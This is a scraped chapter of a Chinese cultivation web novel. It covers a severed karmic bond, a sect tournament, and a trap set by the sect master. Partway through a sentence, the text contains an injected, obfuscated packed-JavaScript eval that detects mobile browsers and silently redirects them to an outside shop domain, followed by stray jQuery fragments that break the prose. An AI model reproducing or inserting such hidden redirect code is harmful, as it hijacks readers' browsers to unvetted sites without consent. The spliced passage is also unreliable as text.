文趣网 > 都市小说 > 《减仙》 > 10. 第 10 章
    苏忘忧睁开眼睛。

    修炼室里的风已经停了,阵法中的黑雾也散去了,魇不知道什么时候已经离开。空气中弥漫着一股淡淡的血腥味,是从门口那个人身上传来的。

    沈清和站在门口,左手按着胸口,白色的衣料被血染红了一大片,顺着手指缝往下滴。他的脸色惨白,嘴唇没有一丝血色,但他的眼睛,直直地盯着苏忘忧,里面翻涌着太多的情绪——痛苦,难以置信,还有一丝……被背叛的委屈。

    "是不是你?"他又问了一遍,声音在发抖,"是不是你,斩断了我们之间的因果?"

    苏忘忧看着他。

    她能看到他胸口那根深蓝色的执念线,正在剧烈地颤动,像一根被狂风撕扯的弦。线的末端,那根曾经连接着她的、细细的因果线,已经断了。

    断口处,还在冒着淡淡的青烟。

    因果被斩断的瞬间,被斩断的一方会受到反噬。轻则气血翻涌,重则经脉受损。沈清和胸口的血,就是反噬造成的。

    苏忘忧站起身,走到他面前。

    她应该感到内疚,应该感到心疼,应该说一句"对不起"。

    但她没有。

    她的心里,很平静。

    像一潭没有波澜的死水。

    她记得沈清和的好,记得他在执法堂门口挡在她面前,记得他在书房里说"我不后悔",记得他所有的善意和牺牲。

    但这些记忆,现在更像是书架上的书——她知道它们在那里,她可以随时取下来翻阅,但它们不会再让她的心湖泛起任何涟漪。

    这就是断因果境。

    斩断因果,同时斩断的,还有因因果而产生的一切情感。

    "是我。"苏忘忧说,声音很平,"对不起。"

    她说"对不起",但她的语气里没有歉意。

    不是她不想道歉,是她已经……感觉不到歉意了。

    沈清和看着她,看着她平静的眼睛,看着她没有一丝波澜的脸,然后,他笑了。

    那笑容很苦,很涩,像一杯泡了太久的浓茶。

    "不用道歉。"他说,声音很轻,"我知道,你是为了救我。"

    苏忘忧没有说话。

    "魇告诉你的,对吗?"沈清和看着她,"只有突破断因果境,才能切断墨尘身上的天道因果线,才能救我的命。"

    "嗯。"苏忘忧点了点头。

    "所以你斩断了对我的因果。"沈清和的声音里带着一丝自嘲,"多么合理的选择。为了救一个人,先放下他。"

    苏忘忧依然没有说话。

    她不知道该说什么。

    安慰?她感觉不到安慰的情绪。解释?事实就摆在那里,不需要解释。道歉?她已经说了,但她知道,那句"对不起"没有任何温度。

    断因果境的修士,就是这样。

    你可以跟他们讲道理,可以跟他们谈逻辑,但你不能跟他们谈感情。

    因为他们已经没有感情了。

    至少,对被斩断因果的那个人,没有了。

    "苏师妹,"沈清和深吸一口气,压下了胸口的翻涌,看着她的眼睛,一字一顿地说,"你不用觉得欠我什么。是我自己选择站在你这边的,是我自己选择跟天道作对的。所有的后果,我都认。"

    "但是——"他顿了顿,声音里多了一丝恳求,"你能不能,至少在我面前,装一下?"

    "装一下你还在意我,装一下你还会因为我受伤而心疼,装一下你斩断因果的时候,是难过的。"

    "哪怕是假的,也行。"

    苏忘忧看着他。

    她的心里,有什么东西,在微微颤动。

    很轻,很淡,像一根几乎看不见的线,在她空荡荡的胸口,轻轻扯了一下。

    但那感觉转瞬即逝,快到她以为是错觉。

    她深吸一口气,点了点头:"好。"

    然后,她伸出手,轻轻扶住了沈清和的胳膊,脸上露出了一个恰到好处的、带着担忧和歉意的表情:"大师兄,你受伤了,我扶你回去休息。"

    她的演技很好。

    好到连沈清和都差点信了。

    但他知道,这是装的。

    她的眼睛里,没有温度。

    沈清和没有拆穿她。

    他只是笑了笑,任由她扶着,走出了修炼室。

    月光照在他们身上,把两个人的影子拉得很长,交叠在一起。

    但只有影子交叠。

    他们之间的因果,已经断了。

    ---

    三天后,宗门大比。

    青玄宗的演武场,人山人海。

    内门弟子、外门弟子、杂役弟子,加起来有上千人,把演武场围得水泄不通。宗主玄阳真人坐在最高处的观礼台上,身边坐着几位长老,周长老也在其中。

    苏忘忧站在弟子队列的最后面,穿着一身崭新的内门弟子服饰——成为宗主关门弟子之后,她的身份从杂役弟子变成了内门弟子,衣服也换了。

    但她依然站在最后面。

    不是因为谦虚,是因为她不想引起太多注意。

    她的目光,扫过演武场。

    赵灵儿站在不远处,正跟几个女弟子说笑,时不时往她这边瞟一眼,眼神里带着轻蔑和不屑。

    沈清和站在弟子队列的最前面,白衣胜雪,身姿挺拔。他的胸口已经不流血了,但脸色还有些苍白。他的目光,时不时往苏忘忧这边看一眼,然后又迅速收回。

    而在弟子队列的角落里,站着一个穿黑衣的年轻人。

    他面容普通,身材中等,站在人群里毫不起眼。但苏忘忧的目光落在他身上时,瞳孔微微收缩了一下。

    墨尘。

    他的胸口,没有执念线。

    干干净净,空空荡荡,跟林墨一样。

    而且,他的身上缠着一根黑色的因果线,线的另一端,直通观礼台上的玄阳真人。

    天道的棋子。

    苏忘忧收回目光,深吸一口气。

    今天,是关键的一天。

    她要做三件事。

    第一,赢赵灵儿,但不能赢得太轻松,要维持"废材侥幸"的人设。

    第二,在沈清和跟墨尘的比赛中,找机会切断墨尘身上的天道因果线,救沈清和的命。

    第三,趁乱离开演武场,前往忘川崖,打开第二重封印,放出苏微尘的身体。

    三件事,环环相扣,任何一件出了差错,全盘皆输。

    苏忘忧攥紧了拳头,又松开。

    没关系。

    她已经没有什么可以失去的了。

    ---

    大比正式开始。

    第一轮,苏忘忧对赵灵儿。

    擂台上,赵灵儿握着一把粉色的长剑,看着苏忘忧,脸上带着志在必得的笑容。

    "苏师妹,"赵灵儿的声音甜得发腻,"姐姐会手下留情的,你放心。"

    苏忘忧没有说话,只是从腰间拔出了一把普通的铁剑。

    那是宗门发给内门弟子的标配武器,平平无奇,跟赵灵儿那把闪闪发光的法器长剑比起来,像一根烧火棍。

    裁判长老宣布开始。

    赵灵儿率先出手。

    她的剑法很花哨,粉色的剑气在空中划出一道道弧线,看起来很漂亮,但实际上破绽百出。她炼气五层的修为,对付一个"炼气二层"的废材,确实不需要认真。

    苏忘忧侧身躲过第一剑,然后是第二剑,第三剑。

    她的动作看起来很笨拙,很勉强,每次都是险之又险地躲开,有几次甚至被剑气擦到了衣服,留下几道口子。

    台下的弟子们开始哄笑。

    "这就是宗主收的关门弟子?也太菜了吧!"

    "就是,连赵师姐的剑都躲不过,还打什么?"

    "我看啊,宗主就是一时心软,收了个摆设。"

    赵灵儿听到这些议论,打得更加起劲了,剑法也越来越飘。

    苏忘忧在心里默默数着。

    一剑,两剑,三剑……

    第十七剑的时候,赵灵儿的旧力已尽,新力未生,胸口露出了一个破绽。

    就是现在。

    苏忘忧脚下一错,身形突然加速,铁剑直直地刺向赵灵儿的胸口。

    她的速度很快,但快得恰到好处——快到赵灵儿躲不开,但又不会让人觉得"这不是炼气二层该有的速度"。

    赵灵儿的脸色瞬间变了,她想后退,但已经来不及了。

    铁剑的剑尖,停在了她的胸口前三寸的地方。

    如果再往前一寸,就会刺穿她的心脏。

    全场安静了一瞬。

    然后,爆发出更大的哄笑声。

    "赵灵儿居然输了?"

    "不是吧,她连一个炼气二层的都打不过?"

    "哈哈哈,赵灵儿这脸丢大了!"

    赵灵儿站在擂台上,脸色一阵红一阵白,握着剑的手在发抖。她看着苏忘忧,眼神里充满了难以置信和屈辱。

    "你……"她想说什么,但最终只是咬了咬牙,转身跑下了擂台。

    苏忘忧收起铁剑,脸上露出了一个恰到好处的、带着几分侥幸和茫然的表情,然后走下了擂台。

    完美。

    没有人怀疑她。

    所有人都以为,她只是运气好,碰巧抓住了赵灵儿的破绽。

    就连观礼台上的玄阳真人,也只是微微点了点头,脸上带着一丝"孺子可教"的满意笑容。

    苏忘忧回到弟子队列,站回了原来的位置。

    她的目光,落在了擂台的方向。

    下一场,沈清和对墨尘。

    ---

    沈清和走上擂台的时候,全场的气氛都变了。

    作为宗门大师兄,他的人气很高。台下的弟子们纷纷欢呼,喊着他的名字。

    沈清和对着观众席微微拱手,然后转过身,看向对面的墨尘。

    墨尘站在擂台的另一端,黑衣,普通面容,面无表情,像一根木桩。

    他没有说话,也没有行礼,只是静静地站着,等着比赛开始。

    裁判长老宣布开始。

    沈清和率先出手。

    他的剑法跟赵灵儿完全不同,没有花哨的招式,每一剑都简洁、精准、致命。白衣翻飞,剑气纵横,像一片流动的雪。

    但墨尘的应对,更加简洁。

    他甚至没有拔剑,只是用一双手,就接住了沈清和所有的攻击。

    他的速度很快,力量很大,每一次出手都恰到好处,正好挡在沈清和的剑路上。

    筑基中期对筑基后期,差距一目了然。

    台下的欢呼声渐渐停了,弟子们的脸上露出了紧张的表情。

    "大师兄好像……打不过他?"

    "那个墨尘是谁啊?怎么这么强?"

    "从来没见过啊,哪个峰的?"

    擂台上,沈清和的额头上渗出了冷汗。

    他知道,正面打,他赢不了。

    所以,他在等。

    等墨尘走到擂台的某个位置——那个他提前布置了困灵阵的位置。

    终于,在第三十七招的时候,墨尘后退了一步,正好踩在了困灵阵的阵眼上。

    "就是现在!"沈清和低喝一声,双手掐诀,灵力注入地面。

    困灵阵启动。

    一道白色的光罩从地面升起,把墨尘罩在了里面。

    墨尘的动作,停住了。

    他被困在了光罩里,无法动弹。

    台下爆发出一阵欢呼。

    "大师兄厉害!"

    "困住他了!"

    "快攻击!"

    沈清和没有犹豫,长剑直指墨尘的胸口,全力刺出。

    这一剑,凝聚了他全部的灵力。

    但就在剑尖即将触碰到光罩的瞬间——

    "咔嚓。"

    一声脆响。

    光罩上,出现了一道裂纹。

    然后是第二道,第三道……

    几息之间,整个光罩就像一面被砸碎的镜子,轰然碎裂。

    墨尘从碎片中走了出来,面无表情,身上甚至连一点灰尘都没有。

    困灵阵,只困住了他半炷香的时间。

    比沈清和预期的,少了一半。

    台下的欢呼声戛然而止。

    沈清和的脸色,变得惨白。

    他知道,接下来,就是墨尘的反击了。

    而他,已经没有灵力再布置第二个阵法了。

    墨尘抬起手,掌心凝聚起一团黑色的灵力。

    那团灵力很浓,很沉,带着一股毁灭的气息。

    台下的弟子们开始尖叫。

    "住手!"

    "会出人命的!"

    "大师兄小心!"

    观礼台上,周长老站了起来,想要出手阻止。

    但玄阳真人轻轻摆了摆手

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880895|212451||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,拦住了他。

    "年轻人切磋,受点伤是正常的。"玄阳真人的笑容很慈祥,"清和的命硬,死不了。"

    周长老犹豫了一下,最终还是坐了回去。

    擂台上,墨尘的手掌,对准了沈清和的胸口。

    黑色的灵力,蓄势待发。

    沈清和闭上了眼睛。

    他知道,这一击,他接不住。

    但他不后悔。

    就在这时——

    苏忘忧动了。

    她站在弟子队列的最后面,没有人注意到她。

    她抬起右手,食指和中指并拢,指向擂台上的墨尘。

    断因果境的能力,在这一刻,全力发动。

    她的意识,穿过人群,穿过擂台,穿过墨尘的身体,精准地落在了那根连接着墨尘和玄阳真人的黑色因果线上。

    然后,她用力一扯——

    "断。"

    无声无息。

    那根黑色的因果线,像一根被剪断的琴弦,"嘣"的一声,碎成了无数光点,消散在空气中。

    擂台上,墨尘的身体,猛地一颤。

    他眼中的光芒,瞬间暗淡了下去。

    那团凝聚在掌心的黑色灵力,也像失去了支撑一样,"噗"的一声,消散了。

    他的修为,从筑基后期,直接跌到了炼气三层。

    失去了天道的加持,他就是一个空壳。

    沈清和感觉到了不对,睁开眼睛。

    他看到墨尘站在对面,脸色苍白,浑身发抖,掌心的灵力已经消失了。

    机会!

    沈清和没有犹豫,长剑一横,抵在了墨尘的脖子上。

    "你输了。"他说。

    全场死寂。

    然后,爆发出山呼海啸般的欢呼声。

    "大师兄赢了!"

    "太厉害了!"

    "那个墨尘刚才怎么了?突然就不行了?"

    "不知道啊,可能是灵力耗尽了吧!"

    观礼台上,玄阳真人的笑容,微微僵了一下。

    他的目光,穿过人群,精准地落在了弟子队列最后面的苏忘忧身上。

    苏忘忧正低着头,假装在整理衣服,看起来跟周围欢呼的弟子们格格不入。

    但玄阳真人知道,是她。

    刚才那一瞬间,他感觉到了。

    有人切断了他跟墨尘之间的因果线。

    除了她,没有人能做到。

    断因果境。

    她居然真的突破了。

    玄阳真人的嘴角,勾起了一抹极淡的、冰冷的笑。

    有意思。

    越来越有意思了。

    ---

    演武场上的混乱,还在继续。

    弟子们围在擂台周围,议论着刚才那场不可思议的逆转。墨尘被两个执法弟子架了下去,他的眼神空洞,像一个失了魂的木偶。

    没有人注意到,弟子队列最后面的苏忘忧,已经悄悄离开了。

    她趁着所有人的注意力都在擂台上的时候,从演武场的侧门溜了出去,一路往北,直奔忘川崖。

    断因果境的修为让她的速度比之前快了数倍,几息之间,她就穿过了大半个宗门,来到了忘川崖的入口。

    花海依然在,浓雾依然在,一切都跟她上次来的时候一样。

    但苏忘忧能感觉到,这里的气息,跟上次不一样了。

    多了一股……压迫感。

    像有什么东西,在深处等着她。

    苏忘忧深吸一口气,走进了浓雾中。

    在玄机子的指引下,她很快穿过了花海和浓雾,来到了那个山洞前。

    山洞的入口,跟上次一样,刻着密密麻麻的符文,散发着微弱的金色光芒。

    苏忘忧迈步走了进去。

    石室还是那个石室,穹顶的发光石依然亮着,石台还是那个石台。

    但石台上的骸骨,不见了。

    道剑,也不见了。

    取而代之的,是一个人。

    一个穿着宗主服饰的老者,端端正正地盘膝坐在石台上,须发皆白,面容慈祥,正微笑着看着她。

    玄阳真人。

    天道的分身。

    他比苏忘忧先到了。

    "忘忧,"玄阳真人的声音很温和,像一个等待晚辈回家的长辈,"你终于来了。"

    "老夫在这里,等你很久了。"

    苏忘忧站在石室入口,浑身冰冷。

    她的计划,她的布置,她的一切——

    全都在天道的预料之中。

    它从一开始就知道,她会在大比当天来忘川崖。

    它甚至故意让她切断了墨尘的因果线,故意让她以为自己赢了一局,故意放她离开演武场。

    因为它要的,就是她主动走进这个山洞。

    走进这个,它为她准备好的——

    陷阱。

    "你以为,"玄阳真人从石台上站起来,一步步走向苏忘忧,笑容依然慈祥,但眼神里已经没有了温度,"你那点小动作,老夫真的不知道吗?"

    "断因果境,确实不错。"他说,"三万年来,你是第二个修到这一步的人。"

    "但你要记住——"他停在苏忘忧面前三丈远的地方,居高临下地看着她,声音里带着一丝冰冷的嘲弄,"你修的每一层功法,都是老夫给你的。你走的每一步路,都是老夫写好的。"

    "你以为你在反抗?"玄阳真人笑了,"不。你只是在按照老夫的剧本,演得更投入了一点而已。"

    苏忘忧站在原地,手指攥紧了又松开。

    她的脑子在飞速运转,寻找破局的方法。

    但她发现,没有。

    这里是忘川崖的核心,是天道的地盘。玄阳真人是元婴期巅峰的分身,而她只是断因果境,相当于加法道的金丹期。

    差距太大了。

    正面打,她连一招都接不住。

    逃跑?更不可能。山洞的入口已经被天道的力量封住了,她连退都退不出去。

    难道,她真的要在这里,被天道夺舍?

    就在这时,她怀里的无字书,突然剧烈地颤抖起来。

    玄机子的声音,带着前所未有的急促和疯狂,在她脑海中炸开:

    "忘忧!快!用你的血,在地上画'归墟阵'!"

    "只有归墟阵,能暂时困住天道的分身!"

    "快!没有时间了!"